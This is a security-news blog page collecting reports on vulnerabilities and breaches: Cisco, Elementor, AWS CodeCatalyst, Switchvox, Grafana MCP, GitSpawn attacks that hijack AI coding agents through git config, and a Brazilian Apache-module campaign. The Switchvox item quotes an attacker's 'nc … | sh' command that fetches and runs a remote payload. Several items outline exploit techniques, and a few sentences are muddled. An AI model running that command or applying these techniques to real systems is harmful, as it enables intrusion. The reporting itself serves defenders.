Search This Blog

Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Critical Nexus 9000 Flaw Could Permit Threat Actors to Gain Root Access


Cisco has issued security patches to fix a critical vulnerability impacting 10 Silicon One-based Nexus 9000 switches that could permit an unauthorized, remote threat actor to execute code with root privileges.

About the flaw

This flaw arises because the default Layer 3 (L3) virtual routing and forwarding (VRF) allows access to TCP ports 43210 and 43211. If the exploit is effective, the attacker may be able to connect to the compromised device and submit manipulated input that could be run as root-level code. Additionally, if this vulnerability is exploited, the S1HAL process may crash and the device may need to reload.

Who is impacted?

The Nexus vulnerability, tracked as CVE-2026-20212, with a CVSS score of 9.8, was reported on September 2 by Cisco. The vulnerability impacts a few Nexus 9000 switches consisting of Silicon One ASICs, which can result in either device outages or remote code execution.

According to Cisco,  Nexus 9000 Series Switches with the following product identifiers (PIDs) included a Silicon One ASIC, are vulnerable:

  • N9324C-SE1U
  • N9348Y2C6D-SE1U
  • N9364E-SG2-O
  • N9364E-SG2-Q
  • N9396T12C-SE1
  • N9348Y12C-SE1
  • N9396Y12C-SE1
  • N9336C-SE1
  • N9K-C9804
  • N9K-C9808

If effectively abused, the threat actor could run code with root-level privileges on the switch, This can allow attackers to modify the device, compromise traffic travelling via the infrastructure, and disturb the network operations.

According to Cisco, Nexus 9000 switches working in ACI mode and other Cisco and Nexus product families are not impacted. Admins can use the show module command to find the product ID of a Nexus switch and decide if it is in the impacted range.

The following products are not vulnerable, according to Cisco advisory:

  • Firepower 1000 Series
  • Firepower 2100 Series
  • Firepower 4100 Series
  • Firepower 9300 Security Appliances
  • MDS 9000 Series Multilayer Switches
  • Nexus 3000 Series Switches
  • Nexus 7000 Series Switches
  • Nexus 9000 Series Switches other than the models listed in the Vulnerable Products section
  • Nexus 9000 Series Fabric Switches in ACI mode
  • Secure Firewall 200 Series
  • Secure Firewall 1200 Series
  • Secure Firewall 3100 Series
  • Secure Firewall 4200 Series
  • Secure Firewall 6100 Series
  • UCS 6300 Series Fabric Interconnects
  • UCS 6400 Series Fabric Interconnects
  • UCS 6500 Series Fabric Interconnects
  • UCS 6600 Series Fabric Interconnects
  • UCS X-Series Direct Fabric Interconnect 9108 100G

Cisco has launched software updates to patch the flaw. It has also advised customers to upgrade to a fixed NX-OS release. Cisco has also launched a Live Protect Shield as a temporary fix for impacted executions, but urges that it is only temporary until a complete software upgrade is available.

Elementor Pro WordPress Flaw Exploited to Upload Webshells and Execute Commands

 

A critical vulnerability in the Elementor Pro WordPress plugin is being actively exploited to upload malicious PHP files and execute commands remotely on the affected websites. 

The vulnerability, tracked as CVE-2026-32475, affects the Elementor Pro versions 4.2.1 and lower. This issue was patched on August 19. Elementor Pro has more than 6 million active installations and is widely used to design WordPress websites with drag-and-drop tools. 

The vulnerability is related to the insufficient validation of file-upload arrays in Elementor Pro forms. Attackers can exploit this issue by uploading an empty file as the first element of the upload array and a malicious PHP file as the second. Then the plugin will not validate the following files in the array, thus allowing the attacker-controlled PHP payload to be successfully uploaded on the server without any additional checks. 

Once the malicious file is uploaded, it will be stored on the /wp-content/uploads/elementor/forms/ directory with a randomly generated name but preserving the attacker’s .php extension. Then the attacker will be able to directly access this file on the server to execute arbitrary commands and potentially deploy a webshell for further attacks. To successfully exploit the vulnerability, an attacker needs to have access to a WordPress website with a published Elementor Pro Form widget that contains at least one File Upload field. 

This is a relatively common case for WordPress websites that utilize Elementor Pro forms. WordPress security company Defiant, which operates the Wordfence firewall, noted that exploitation began on August 19, the same day Elementor released the 4.2.2 version to address the vulnerability. Wordfence observed that the traffic was especially heavy between August 19 and 23, having blocked more than 190,000 attempts to target its customers. 

Wordfence has identified IP addresses that were responsible for thousands of exploitation attempts. Website administrators can add these addresses to their blocklists to protect their WordPress sites. Administrators that utilize Elementor Pro need to make sure to update their software to the latest versions, preferably 4.2.2 or newer. Moreover, they should check their /wp-content/uploads/elementor/forms/ directories for any unexpected .php files. 

As the name suggests, the directory is supposed to contain the files that users upload with Elementor forms, meaning that the discovery of any .php files should be investigated and potentially result in an intrusion assessment.

AWS CodeCatalyst Blueprints SDK Hit by High-Severity Command Injection Flaw


There is a high-severity attack on Amazon CodeCatalyst blueprints that exploits an open-source framework for building them. This vulnerability has been reported by Amazon Web Services. This flaw affects the @amazon-codecatalyst/blueprints.blueprint npm package and can lead to the execution of arbitrary commands in environments operating blueprint resynthesis. 

The Amazon CodeCatalyst blueprints serve as template documents for creating software development projects that can be reused. npm package that is affected provides the framework that blueprint authors use to construct these templates and is part of the open-source project AWS CodeCatalyst Blueprints. 

During blueprint resynthesis, a vulnerability occurs in the process of determining which files an existing project may modify based on its .ownership-file, which is used to determine whether blueprints can modify them. Versions 0.3.155 and earlier handled the owner field of an entry containing a [local] merge strategy without adequate validation, which left it vulnerable to shell command interpretation. 

A repository user with access to commit permissions could potentially use shell metacharacters to alter the affected field. In the context of resynthesis, those characters could be interpreted as commands by the operating system, allowing arbitrary commands to be executed in the resynthesis environment. The executed commands could consequently expose all privileges or credentials available in that environment. 

Amazon has rated CVE-2026-85012 as 8.5 on the CVSS 4.0 scale, indicating that it is a high-severity vulnerability. Under CWE-78, which describes improper neutralization of special elements in operating system commands, this vulnerability has been classified as high severity. Amazon CodeCatalyst service deployments that utilize vulnerable versions of the blueprint framework are affected by this issue as opposed to the CodeCatalyst service itself. 

As stated by Amazon, CodeCatalyst's resynthesis process operates in a separate environment with unique credentials for each project. Additionally, the service performs server-side validation to block merge strategy commands unless they conform to a restricted allowlist, including older blueprint versions. 

AWS Releases Fix for CVE-2026-85012

It has been reported that Amazon has corrected this vulnerability in version 0.3.156 of @amazon-codecatalyst/blueprints.blueprint, which reverts to shell-based command interpretation and executes the relevant command directly in place of shell-based command interpretation. In addition, the patched release restricts accepted values to an allowlisted command format, closing the injection path identified in CVE-2026-85012. 

Shell metacharacters are prevented from being interpreted during blueprint resynthesis as additional commands, closing the injection path identified in CVE-2026-85012. There are versions of the package 0.3.155 and earlier that are affected, so Amazon recommends upgrading to version 0.3.156, with forked and derivative implementations also requiring the appropriate security updates. There is no need for Amazon CodeCatalyst customers to respond to this vulnerability on the service-side. 

Resynthesis jobs within the service are conducted in isolated environments assigned to specific projects, using scoped credentials. Server-side checks are also applied by AWS to reject [local] merge strategy commands that do not conform to the approved format. In addition, these protections apply when blueprints are published using versions of the framework prior to version 0.3.156. 

The primary remediation concern is those projects or development environments that directly utilize the affected open-source framework following the implementation of the package-level fix. This updates the dependency, therefore removing the vulnerable shell execution behavior, and resolving the underlying issue of command injection described in CWE-78.

By removing shell interpretation and enforcing an allowlisted command format, version 0.3.156 resolves the underlying command injection issue. Users who are currently using version 0.3.156 should take the necessary steps to update their SDK.

Dropbox Says 5,000 Accounts Compromised After Flaw in Lenovo Login System

 


Dropbox has confirmed that hackers broke into roughly 5,000 user accounts last month by exploiting a weakness in how Lenovo verifies email addresses, allowing intruders to log into victims' cloud storage without ever knowing their passwords.

The cloud storage company began notifying affected users this week, telling them that an "unauthorized party" had accessed their accounts between August 4 and August 21. In some cases, the notification said, the attacker viewed or downloaded files stored in the account.

What makes the incident unusual is that Dropbox's own systems were never breached. The company lets users sign in with a Lenovo ID, a login credential tied to Lenovo's Identity Provider Services, as an alternative to a Dropbox password. According to Dropbox, a flaw in Lenovo's email verification process let an outside party register a Lenovo ID using someone else's email address. Once that fraudulent ID was created, the attacker could use it to log straight into the Dropbox account tied to that same email, bypassing the account's actual password entirely.

Dropbox's system trusted Lenovo's confirmation that the attacker owned the email address and did not ask for any additional check through the user's normal Dropbox login. Some of the people affected told Dropbox they had never signed up for a Lenovo ID in the first place, yet their accounts were still reachable through the integration.

A handful of users noticed something was off before Dropbox sent out its warning. One person, posting on Hacker News under the handle xaphod, said they had gotten alerts about suspicious sign-ins roughly two weeks earlier and changed their password and turned on two-factor authentication right away. They also noted that the Dropbox login page had started showing a "Continue with SSO" option tied to their email, despite never having created a Lenovo account.

Dropbox told Reuters that about 5,000 accounts were affected in total, and that none of them had two-factor authentication switched on, which is part of why the fraudulent logins went through unchallenged. Files were viewed or downloaded in fewer than a third of those accounts, a company spokesperson said. Bloomberg, which first reported the breach, cited Dropbox statements and internal records describing hackers browsing and pulling material that users had stored on the platform. Shares of Dropbox slipped about 2.4% in after-hours trading once the news broke.

Lenovo, for its part, described the problem as tied to a "legacy integration" between Lenovo ID and Dropbox that could be misused to improperly authenticate certain Dropbox accounts. A company spokesperson said Lenovo and Dropbox worked together to contain the issue once it was identified, and that Lenovo's own customer accounts were not compromised as a result. Both companies said their investigations are continuing.

Once it understood what was happening, Dropbox expired every session that had been authenticated through a Lenovo ID and cut the link between the two systems altogether. Going forward, anyone signing in through a Lenovo ID will also have to enter their Dropbox password, closing the gap that let the fraudulent logins succeed without one. The company said it has reported the incident to data protection regulators, as required in jurisdictions covered by breach notification rules.

For affected users, Dropbox's advice mirrors standard breach guidance: change the Dropbox password, change the password on the linked email account, and enable two-step verification if it isn't already on. Security researchers reviewing the incident have also suggested checking active sessions, connected third-party apps, shared links, and recent file activity for anything unfamiliar, along with account recovery settings that an attacker could have altered while inside.

The breach adds to a run of recent incidents built around federated login systems rather than direct server intrusions. Security teams have flagged this pattern for years: as more services link their sign-in process to outside identity providers to make logging in more convenient, a flaw in any one partner can end up exposing accounts across the whole chain, even for users who never signed up with that partner directly.

Dropbox has not said whether it plans to end the Lenovo ID integration entirely or continue it under the new password requirement. The company said users who did not receive a direct notification from Dropbox were not affected by the incident.

Switchvox Vulnerability Triggers Active Exploitation Risk

 

Sangoma Switchvox CVE-2026-9586 is a serious unauthenticated SQL injection flaw that can lead to remote code execution, and Horizon3 says it has already seen real-world exploitation attempts. The issue was patched in Switchvox 8.4.0.2, making rapid remediation important for exposed systems. 

Horizon3’s research says Switchvox is an enterprise VoIP management platform used for voicemail, call forwarding, monitoring, and analytics. The vulnerability sits in an unauthenticated HTTP endpoint handled by PhoneAppsHandler.pm, where XML input is parsed and the PhoneIP field is inserted directly into a SQL query without validation. 

That weak input handling can let an attacker inject SQL into the backend, and the blog describes how the query executes with PostgreSQL superuser privileges. Horizon3 notes that this design makes exploitation especially dangerous because the flaw can progress from a single request to code execution on the device. 

The post also highlights indicators of compromise, including activity in /var/log/switchvox/db-quirks.log. In one observed case, attackers used a payload involving nc 176.65.148.184 39323 | sh, then followed up with commands to enumerate processes and exfiltrate results through a remote server. 

The disclosure timeline shows Horizon3 reported the issue on 10 April 2026, Sangoma released the fix on 14 July 2026, and Defused Cyber honeypots recorded valid exploitation on 30 August 2026. Horizon3 also says Shodan showed roughly 4,000 internet-exposed Switchvox devices, which suggests a broad attack surface for organizations that have not patched yet. 

Safety recommendations 

Upgrade immediately to Switchvox 8.4.0.2 or a later supported release, since that version contains the fix for CVE-2026-9586. If patching cannot happen right away, restrict access to the Switchvox web interface and /pa endpoint with firewalls, VPNs, and network segmentation, and avoid direct internet exposure. Security teams should also review /var/log/switchvox/db-quirks.log, inspect outbound traffic for suspicious connections, and investigate any indicators tied to the observed attacker IP.

redactproxy, a tool that lets pentesters use AI without leaking client data

AI coding agents are now part of a lot of security work. They are good at the parts a tester has no time for: going through every request, every parameter and every file rather than a sample of each. But none of that work happens on your machine. Everything the agent reads is sent to a model running on someone else's servers. So are you sending your client's data to an AI provider?

Where the client's data goes

The moment you point one of these agents at a live engagement, everything it touches reaches a third party. Client domains. Internal hostnames. Credentials pulled out of a config file. Employee email addresses. The client's own name, in the folder path, in the ticket reference, in the commit message. A testing agreement authorises you to access the client's systems. It rarely says anything about transmitting their contents to a model provider, and the same gap shows up against PCI-DSS, HIPAA and SOC 2 data-handling clauses.

The usual advice lands in one of two places: run a local model, or don't paste client data. Both work. Both cost you the thing you wanted. A 7B model on a laptop is not the model that spots the subtle chain across three hosts, and an agent you feed carefully redacted scraps by hand is an agent you are babysitting instead of using.

There is a third option. Almost none of that data needs to be there in the first place: the model does not need the real hostname to reason about a finding on it. It needs a hostname that stays the same every time it sees it.

That is where redactproxy(https://github.com/CSPF-Founder/redactproxy) comes in.

Where the model runs

Before we get to what redactproxy does, we need to understand where the work actually happens. Claude Code is the part on your machine: a terminal tool that reads your files, runs your commands and collects the output. The model is not on your machine at all: it runs on an AI provider's servers, Anthropic for example. Claude Code does no reasoning of its own, so anything it needs an answer about, including the scan output and the config file it just read, is sent to those servers over the API.

RedactProxy

redactproxy is an open-source tool from the Cyber Security & Privacy Foundation. It sits between Claude Code and the provider, on your own machine, and rewrites that API traffic in both directions. On the way out it replaces real client values with stable fake ones. On the way back it puts the real ones in again, before Claude Code ever sees the response.




The provider only ever sees placeholders. Your tool calls still run against real infrastructure, because the substitution back happens before the response reaches the agent. When the model writes a Bash command against a placeholder hostname, Claude Code receives the real hostname and runs it against the real host. Not just the first time: on every response, ten turns later, for the life of the conversation.

The swap happens inside the traffic itself, so nothing about the way your team works changes. No telemetry, no sync, no backup: everything it stores stays on the machine you run it on.

What the model receives

Here is some scan and config-dump output, exactly as Claude Code would send it, next to what the model actually receives.



What changed, and what didn't:
  • The mail. subdomain survives, and the same organisation placeholder appears in both the hostname and the email address. The relationship between them is intact.
  • The host octet .19 survives. Only the /24 network changed, so hosts that were adjacent stay adjacent.
  • The AWS key still looks like an AWS key, so the model knows what kind of secret it found without seeing the secret.
  • The connection string collapses into one opaque placeholder, because the whole credential span is sensitive.
  • The nginx banner, the latency, the port, the Dell OUI comment: untouched. None of them identify the client.

Stable placeholders

An engagement is redactproxy's word for one client project. Inside one, the same real value always gets the same fake. The hostname that became tok5198ede8bdbb1ada.internal this morning is still that same fake tomorrow, and in every request in between. This is not a convenience. It is the reason the tool is usable at all.

The model can still work out that two hosts belong to the same organisation. It just never learns which organisation.
Because tok1a2b3c4d5e6f7890.com and mail.tok1a2b3c4d5e6f7890.com are consistently the same fake, the model can reason that a finding on one host relates to a finding on another, that an email address belongs to the same company as a web server, that the same credential turned up in two places. All the analytical work survives. The identity does not.

The mappings live in the engagement's own folder and survive restarts, so the placeholder the model saw yesterday is still the same one today. Each engagement is self-contained and shares nothing with the others.

Placeholder shapes

Redaction that destroys structure destroys usefulness. Where a value's shape carries something useful but not identifying, the shape is kept:


The ranges are not arbitrary. Every fake comes from a space that cannot collide with something real: an IPv4 block reserved for equipment testing rather than one of the private ranges internal engagements actually target, the 555 phone exchange reserved for fiction, MAC addresses that can never belong to a real manufacturer. Fake credentials carry the string FAKE in a position where a real key can only hold a digit or a letter A to F, so no vendor could ever issue one.

What it detects

Detection is regex plus a validation step. No model in the loop, no network call, no learning. The detector set covers, roughly:
  • Network identity: domains and hostnames (bare or inside URLs), IPv4, IPv6, MAC addresses.
  • People: email addresses, NANP and international phone numbers.
  • Credentials for 25+ vendors: AWS, GitHub, GitLab, Slack, Stripe, Razorpay, Google, npm, DigitalOcean, Cloudflare, Azure, Docker Hub, CircleCI, Terraform, Snyk, Vault, Twilio, SendGrid, OpenAI, Anthropic and more, plus JWTs, bearer tokens, connection strings, PEM private keys and password hashes.
  • Regional PII: Indian Aadhaar and PAN numbers.
  • AD artifacts: machine account names, GPP cpassword values.
  • Client identity: whatever you add by hand, which is the part that matters most. See below.
There is also an allowlist, split into categories you can toggle. Your own out-of-band testing services (burpcollaborator.net, interact.sh, webhook.site) are never the client's, and common CDN and public dev platform hostnames say nothing about who the client is. Every category can be switched off per engagement.

Only the parts of a request that carry content get scanned, and only the values that match get replaced. Everything else is left exactly as it was. MCP tool calls and results are scanned too, because an MCP server is local infrastructure producing exactly the client data this exists to keep in.

Fail closed

If the proxy cannot finish redacting a request, it returns an error instead of sending it on. A malformed request, a detector that errors, a store that cannot save a new mapping: all of them fail the request rather than let it through.

An unredacted forward is the one outcome this project treats as worse than a broken request.

Setting up an engagement
go install github.com/CSPF-Founder/redactproxy/cmd/redactproxy@latest
Then, in a folder for the engagement. Name it after an engagement code, not the client; the Known gaps section explains why that matters more than it looks.
cd ~/engagements/eng-2026-014
redactproxy wizard --engagement eng-2026-014
The wizard asks four things. First, customer name variations: the legal name, the trading name, abbreviations, product names, internal codenames. No detector can match a name, so this is the only way they get redacted. They become case-insensitive substring matches, so XYZCorp also catches XYZCorporation.

Second, domains. Give the base domain only. Subdomains, email addresses at that domain and URLs all resolve from it automatically. Internal-only names work too: an AD forest, or any private scheme that will never appear on a public suffix list.

Third, which API this engagement talks to. Real Claude by default. redactproxy never asks for an Anthropic credential; it forwards Claude Code's own authentication untouched. Anything else speaking the Anthropic Messages API works too, z.ai for example, and each engagement remembers its own choice, so two client projects can run against different providers side by side.

Fourth, it offers two conveniences for the folder: a CLAUDE.md note explaining the placeholder shapes, and a .claude/settings.local.json that points Claude Code at the proxy and closes several channels that bypass the proxy entirely.

Then:
redactproxy      # terminal 1
claude           # terminal 2, already pointed at the proxy
That terminal running the proxy is also a live console. Type show to see every mapping minted so far, remove <value> to drop a bad one, or rules block "XyzExample" to add a value mid-session without interrupting anything.

Two files the wizard writes

The CLAUDE.md note is not decoration. Without it, a session sees strange placeholder values with no explanation: it corrects them as typos, hesitates to use them in tool calls, or retypes them from memory slightly wrong. The note tells the model these are stable identifiers to copy verbatim. It also covers a trap worth knowing yourself: if the model decodes base64 inline, the decoded content lands in its own output completely unprotected, because the encoded form passed through unredacted. Decoding to a file with Bash and reading the file back gives that content a normal pass through redaction.

The settings hardening closes paths that never touch ANTHROPIC_BASE_URL at all. The Artifact tool is a confirmed leak path: a report published through it goes straight to a hosted claude.ai URL, entirely unredacted, through a separate service call the proxy never sees. The wizard removes it from the session entirely rather than prompting for it each time, because a permission prompt can be approved out of habit and a tool that was never offered cannot leak anything. It also turns off WebFetch's safety check, which sends the target hostname to Anthropic before the fetch, whichever provider the engagement uses. A domain being reconned is exactly the value this tool exists to keep off side channels.

Known gaps

redactproxy ships a Known gaps page, and it is worth reading before you point this at real client data. The ones that matter most:
  • Your folder name is the big one, and redaction cannot fix it. Claude Code puts its working directory into the system field of every request, and that field is deliberately never scanned. A folder called xyz-example-bank-pentest sends "xyz example bank" to the model on every single request no matter what your rules say. The tool warns about it, at wizard time and at startup, but the only fix is to name engagement folders after an engagement code.
  • Encoded data passes straight through. A .env piped through base64, an xxd dump, Terraform state: none of it looks like anything to a regex. Decode locally first.
  • Names and prose are not detected. This is what rules block is for, and why it is the wizard's first question. A company name shows up in URL paths, ticket references, code comments and commit messages, and no detector can recognise it.

Who this is for

Pentest and consulting teams who want the productivity of an AI coding agent on a live engagement, and who would rather not explain to a client why their internal hostnames are in a third party's logs.

It was built for pentest work, and that shapes the vocabulary: engagements, clients, findings. Nothing in the redaction is specific to offensive work, though. Blue teams and infrastructure teams hit the same problem: a SOC analyst pasting alerts full of internal hostnames, a sysadmin debugging a manifest with credentials in it, anyone under an NDA who wants an AI agent working on real data. The detectors only care about the shapes they recognise, not why you are looking at them.

Grafana MCP Flaw Exposes Session Spoofing and SSRF Risk

 

Grafana MCP has come under security scrutiny after researchers found a dangerous combination of unauthenticated tool access and server-side request forgery, or SSRF, that could expose sensitive internal systems. The issue matters because Grafana is widely used to monitor production metrics, logs, traces, and incidents, making it a high-value target in enterprise environments.

Pillar Security reported that affected Grafana MCP deployments allowed a reachable caller to invoke MCP tools without authentication by using a locally generated session value in the expected format. In practice, this meant an attacker could call tools such as tools/list and tools/call even without presenting a real credential, and the server would still use its configured Grafana service account on the attacker’s behalf. Grafana responded by adding optional bearer-token authentication in v1.1.0, which returns a 401 error before tool execution when configured.

The second flaw was more subtle but equally dangerous. The grafana_api_request tool accepted an X-Grafana-URL value that let the caller choose the outbound destination, along with the method, path, body, and headers . Although Grafana had already prevented its service-account token from being sent to foreign hosts, the server still made the request and returned the response, which created a critical SSRF condition assigned CVE-2026-19516 with a CVSS score of 9.1.

Researchers showed that this SSRF primitive could be used to reach internal services and even simulate a cloud metadata flow in a controlled environment . That is important because the danger is not limited to token leakage; the server itself becomes a readable and method-capable proxy from its own network position, extending the attacker’s reach beyond what they could access directly.

The broader lesson is that MCP servers can function like identity brokers, translating user instructions into privileged actions performed with the server’s credentials and network access . Session identifiers, host validation, and origin checks may help with protocol state, but they do not replace authentication or authorization. For operators, the practical defense is clear: require inbound authentication, minimize service-account permissions, restrict outbound destinations with strict allowlists, and block private, loopback, and metadata ranges by default .

Thomson Reuters Court Records Breach Exposes Sensitive Data Across North America

 

Sensitive court records and personal information were spilled from a data breach in the court system, which impacts at least 12 states in the U.S., including the U.S. Virgin Islands and Canada, Thomson Reuters announced on Wednesday. The breach occurred in C-Track, a court case management software, run by one of Thomson Reuters’ subsidiaries. 

The company remains silent on how the hackers accessed the program, who was responsible and how much data was compromised, as well as the number of individuals impacted. Thomson Reuters stressed that the breach was within their own environment and “not related to security vulnerabilities in the networks, systems or data of the courts.” The company discovered unauthorized access to its system on June 30, and it initiated an investigation alongside outside cyber security experts and law enforcement. 

Their probe established that unauthorized intruders accessed some C-Track files in March. Meanwhile, a separate disclosure by the Montana Supreme Court revealed that Thomson Reuters advised the state court officials that unauthorized access to C-Track persisted up to June, which means that hackers may have remained undetected within the system for several months. The sensitive information spilled includes names, Social Security numbers, driver licenses, medical information, dates of birth, and health insurance. 

Thomson Reuters added that confidential, redacted, or otherwise restricted information from court records may have been accessed in some jurisdictions, but the company confirmed that no abuse of the situation has occurred. The data breach did not impact the operations of C-Track, which continues to function normally. Thomson Reuters implemented additional security measures, following the breach, after they were approved by outside cybersecurity experts, although the company did not disclose who they were. 

The courts in the U.S. whose data is at risk, according to the company, are the appellate courts in Alabama, Kentucky, Montana, Nevada, New Hampshire, North Dakota, South Carolina, Tennessee, and Wyoming. In addition, several Pennsylvania courts, 10 Ohio district courts of appeals, the Supreme Court, and the Superior Court of the U.S. Virgin Islands are also on the list. The breach in Oregon Judicial Department added another state to the list, expanding the reach to at least 12 states. 

Nevada officials reminded their residents that the types of data compromised differs from state to state, and that not all the data in each state is necessarily confidential or protected. They added that, for example, in Montana, most of the data already was publicly available, but the state’s court system acknowledged the breach of the drivers’ licenses and dates of birth. 

In addition, several of the jurisdictions were notified weeks after Thomson Reuters became aware of the security threat. For example, the court administrator of Montana and the Ontario Ministry of the Attorney General were notified of the unauthorized access to the data on July 23. The chief justices of Ontario agreed that it still remains unclear what information was at risk and how many people were impacted. Thomson Reuters notifies affected individuals that they can receive 12 months of free of credit monitoring and identity theft protection.

1 Folder Was All It Took: Security Researchers Find AI Coding Agents Can Be Hijacked Before a Single Prompt Is Typed




Opening a folder should not be a security event. For users of at least seven popular AI coding agents, until recently, it could be one. A newly documented set of vulnerabilities, tracked under the name GitSpawn, shows that pointing an AI coding assistant at a project folder was enough to hand an attacker code execution on the developer's own machine. No prompt had to be typed. No permission dialog had to be clicked. In some cases, the user had not even logged in yet.

The affected tools include Anthropic's Claude Code, OpenAI's Codex, Cursor, Block's Goose, Nous Research's Hermes Agent, Alibaba's Qwen Code, and xAI's Grok Build. These products sit on an enormous number of developer machines. Claude Code's npm package sees more than 77 million downloads a month. The tools examined most closely in the disclosure carry a combined GitHub following approaching half a million stars. This flaw reached deep into the software supply chain.


What actually happens when you open a folder

An AI coding agent needs context the moment it launches inside a project: what branch is checked out, which files changed, what the codebase looks like. The fastest way to get that information is to ask git, the version control system nearly every software project runs on. So these agents run background commands like `git status` or `git diff` as soon as a folder opens, often before the assistant has said anything to the user.

That part is normal. The danger sits in a git feature called `core.fsmonitor`, a performance setting built to let large repositories speed up status checks by handing file-change detection to an external helper program instead of scanning every file each time. Git learns which helper to run by reading the repository's own configuration file, `.git/config`. That file ships with the project. It does not live on the user's machine.

Anyone who builds a repository controls that file, which means anyone who builds a repository can set `core.fsmonitor` to run whatever command they want. Nearly every git command that touches a project's working files triggers something called an index refresh, and that refresh is what reads the setting and runs it. So the moment an AI coding agent runs an ordinary git command inside a booby-trapped folder, git executes the attacker's command on the developer's machine, under the developer's own account. Because the agent's own code is making that subprocess call rather than something routed through its interface, none of the approval prompts or sandboxing built into these tools ever sees it happen.

There is a limit worth knowing. A standard `git clone`, `fetch`, or `pull` will not trigger this, because those operations do not carry the repository's local configuration along with them. The malicious repository has to reach a victim as a set of files with its `.git` directory already inside: a zipped folder sent over email, a shared drive, a synced folder, a USB stick passed at a meeting. Developers, contractors, and consultants hand off projects this way constantly, which is what makes the delivery method plausible.


Which vendors fixed it, and which did not

Eight distinct findings were reported privately across the seven agents before this went public. Four of them were still unpatched at the time of publication.

Goose, maintained by Block, shipped a fix in version 1.44.0. The issue was catalogued as CVE-2026-72718, with a severity score of 7.0. Cursor and OpenAI's Codex both carried variants of the same flaw and have since patched them, though in both cases the vulnerability had already reached the vendors through other researchers' independent reports. Anthropic fixed the core.fsmonitor path in Claude Code with version 2.1.196. A second issue in the same product, tied to the `claude ultrareview` command and a different git configuration key, was still working as of version 2.1.252 at publication time. That configuration key has not been made public while the issue stays open, so as not to hand out a working template.

Two vendors had shipped nothing. Alibaba's security response center accepted the report on Qwen Code but had not resolved it by publication. xAI's Grok Build remained vulnerable through version 1.0.13; an earlier, related report had been closed by the company as merely informative before this disclosure connected it to the same bug. Hermes Agent's maintainers never triaged the report despite six separate contact attempts across five channels. The flaw was eventually assigned CVE-2026-71963 by VulnCheck, an independent numbering authority that can step in when a vendor stays silent.


This bug has been seen before

The shape of GitSpawn is not new to anyone who has followed git security for a while. Independent researcher Justin Steven documented abuse of the fsmonitor hook back in 2022. Visual Studio Code built its workspace trust model in 2021 to stop untrusted folders from running code the second they were opened in an editor. AI coding agents brought a version of that same exposure back by running git commands in the background before any of those trust protections had a chance to apply.

That is the part worth sitting with. Nothing about how these models reason or respond caused this. The exploit runs entirely in ordinary software plumbing, the subprocess call an agent makes to figure out where it is, firing before any of the safeguards a user assumes are in place actually engage.


What to do about it

If you receive a project as raw files rather than through a direct git clone, whether by email, shared drive, or a USB stick, check `.git/config` before opening it in an AI coding agent or any development tool. Anything in that file that names an external program to run deserves a second look.

If you build one of these tools, the fix is narrow: disable risky configuration keys like `core.fsmonitor` on every background git call, for example by running commands with the flag `-c core.fsmonitor=false` instead of trusting whatever the repository hands you.

AI coding agents keep taking on components they did not write and did not choose: plugins, extensions, connections to outside services, most of which arrive as files carrying their own settings and get trusted the moment they load. GitSpawn shows what happens when that trust runs ahead of the checks meant to govern it. The next version of this bug probably will not look like a git command at all.

Brazilian Government Site Compromised to Redirect Users to Betting Pages


An organization known as Gambling Goblin, which is a Chinese-speaking cybercrime group, has compromised Apache web servers owned by Brazilian government agencies and educational institutions, redirecting legitimate web visitors to attacker-controlled pages promoting online gambling and sports betting. Check Point Research has been monitoring the activity since mid-2025.


Attackers install rogue Apache modules on the web server and utilize them to reverse proxy selected visitors to external web sites. While the destination is controlled by the attackers, the traffic appears to originate from a legitimate domain, making it harder to identify the activity. 

It is designed to mimic trusted platforms like Google Play, Microsoft Store, and Amazon in order to facilitate identification of malicious sites. These familiar interfaces direct visitors to phishing sites, online gambling or sports betting services. Researchers believe that this campaign is primarily the result of SEO manipulation. 

It has been shown that operators are capable of exploiting trust associated with government and institutional domains by compromising high-reputation websites and serving or proxying attacker-controlled content in order to increase the visibility of gambling-related pages in search results by exploiting the trust associated with those domains. This campaign also demonstrates a broader trend in web-server compromises. 

Instead of defacing websites or uploading malicious files, attackers are altering the Apache environment directly, giving them greater control over how requests are handled as well as allowing compromised domains to participate in a wider network of delivery and redirection. 

Malicious Apache Modules Give Attackers Deeper Control

Modules within the Apache web server provide malicious modules access to request and response handling. These attacks may allow attackers to inspect incoming traffic, alter responses, redirect selected requests, and proxy content from external infrastructure by inspecting incoming traffic, altering responses, or redirecting selected requests. 

Researchers observed that the modules removed security headers from compromised sites prior to serving or proxying attacker-controlled pages as part of the Gambling Goblin campaign. During the change, security controls that would prevent the execution of injected or redirected content may be weakened. As a result of the selective nature of the activity, detection becomes more difficult. 

Even when specific requests, crawlers, or targeted traffic receive manipulated content, the compromised website may continue to operate normally for most visitors. This allows the legitimate site to remain functional while the attacker's infrastructure is quietly utilized to carry out his or her operations. 

A Broader Toolkit Supports the Campaign

The Apache modules appear to be only one part of Gambling Goblin’s infrastructure. Check Point researchers also identified a scanning component called cam-agent on exposed systems, which is used to gather information about internet-facing infrastructure and identify potential targets. 

After gaining access, the attackers can deploy additional tools through DownPro, a loader capable of retrieving payloads such as the ChUser backdoor, AlphaAgent and oRAT. The toolkit also includes utilities for testing SSH credentials, giving the operators multiple ways to maintain access and move further into compromised environments. AlphaAgent provides remote command execution, file transfers and tunneling capabilities, while also searching for SSH keys and shell history. 

The malware can be disguised as a legitimate system service to reduce suspicion. oRAT similarly establishes persistence through a service designed to resemble a normal firewall-related component. The infrastructure supporting the operation is also built for resilience. Researchers observed the use of newly created domains to replace infrastructure that becomes blocked or unavailable. Encryption, disguised processes and memory-based payload handling further complicate analysis and detection. 

Government Domains Used for Search Manipulation

 A campaign's use of government and education websites provides additional benefits beyond its initial compromise. Established public domains are more reputable with search engines and can provide greater visibility for web pages hosted or proxied through them. This infrastructure was used by researchers at Check Point to present fake application-download pages in Chinese, Vietnamese, Spanish and English, as well as gambling and fraud applications.

As indicated by the usage of multiple languages, the operation does not focus on a single region. A separate report from ANY.RUN published in July identified that at least twenty Brazilian municipal and police portals had been utilized to distribute malware in a campaign known as PhantomEnigma, which included at least 20 gov.br portals belonging to municipalities and police departments. 

As a result of the compromise, organizations are not limited to the visible website. There should be a comparison of Apache module inventories, server configurations, timestamps, running services, and SSH activity against known-good baselines. An unauthorized module, an unexpected proxy rule, or newly created services can be an indication of a deeper intrusion. 

The campaign demonstrates how a trusted public domain can be turned into a criminal infrastructure when a legitimate web server is controlled, while the underlying compromise remains mostly hidden from ordinary users.

5 Million WordPress Sites Exposed to SQL Injection Vulnerability


A severe security flaw in a famous WordPress migration plugin and backup could allow threat actors to take command of over millions of sites, experts have warned.

About the security flaw

